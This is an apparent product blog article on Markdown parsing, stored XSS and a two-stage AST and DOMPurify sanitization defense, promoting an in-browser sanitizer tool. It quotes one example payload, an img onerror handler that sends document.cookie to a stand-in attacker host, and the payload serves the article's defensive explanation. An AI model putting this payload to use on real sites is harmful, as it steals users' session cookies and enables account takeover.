Developer Utilities9 min read• Published October 24, 2026

Markdown Parsing Architecture: Abstract Syntax Trees, HTML Sanitization & XSS Defense

An engineering exploration of CommonMark specifications, AST visitor patterns, and DOMPurify sanitization to render rich Markdown typography without exposing applications to stored Cross-Site Scripting (XSS).

JV
Julian Vance
Staff Systems Architect, TiBox Core Engineering
Zero-Knowledge Analysis
Associated Client-Side Utility

Ready to test in-browser? Launch Markdown Studio & Sanitizer

Clean, format, and preview Markdown with XSS sanitization and export options. Zero server transmission, 100% on-device execution.

Launch Web Tool

Markdown and the Dual Danger of Stored Cross-Site Scripting (XSS)

Markdown, conceived by John Gruber in 2004 and formalized under the CommonMark specification, is the undisputed lingua franca for technical documentation, README files, and collaborative developer platforms.

However, the Markdown specification explicitly allows raw HTML tags to pass through parser implementations untouched. This intentional design feature represents one of the most perilous attack vectors in web software: Stored Cross-Site Scripting (XSS).

An attacker who submits a Markdown comment or documentation string containing: ```html <img src="x" onerror="fetch('https://attacker.site/steal?cookie=' + document.cookie)" /> ``` can compromise administrative sessions if the Markdown renderer outputs raw HTML into the DOM without strict multi-stage sanitization.

Two-Stage Defense: Abstract Syntax Tree Validation and DOMPurify Filtering

TiBox implements a defense-in-depth architecture for Markdown processing: 1. **AST Tokenization**: The Markdown string is parsed into an Abstract Syntax Tree (AST), ensuring nested blockquotes, tables, and fenced code blocks strictly conform to CommonMark rules. 2. **DOM-Level Whitelist Filtering**: The generated HTML string is filtered through a strict DOMPurify pipeline configured to strip dangerous attributes (such as `onerror`, `onload`, and `javascript:` URIs) while preserving clean semantic tags (`h1-h6`, `p`, `code`, `pre`, `table`).

Interactive Sandbox: Markdown Readability & Metrics Calculator

Live Parser
Words11
Characters75
Est. Read Time3s

Frequently Asked Questions

Is my Markdown preview sent to any remote server for rendering?▼

No. TiBox compiles and sanitizes Markdown entirely client-side inside your browser JavaScript runtime.

Does the previewer support GitHub Flavored Markdown (GFM)?▼

Yes. Tables, task list checkboxes, strikethrough syntax, and auto-linked URLs are fully supported.

Production Web Utility

Perform this operation securely with Markdown Studio & Sanitizer

No uploads, no cookies, no tracking. Air-gapped safe and executes entirely inside your browser.

Open Markdown Studio & Sanitizer

Related Engineering Guides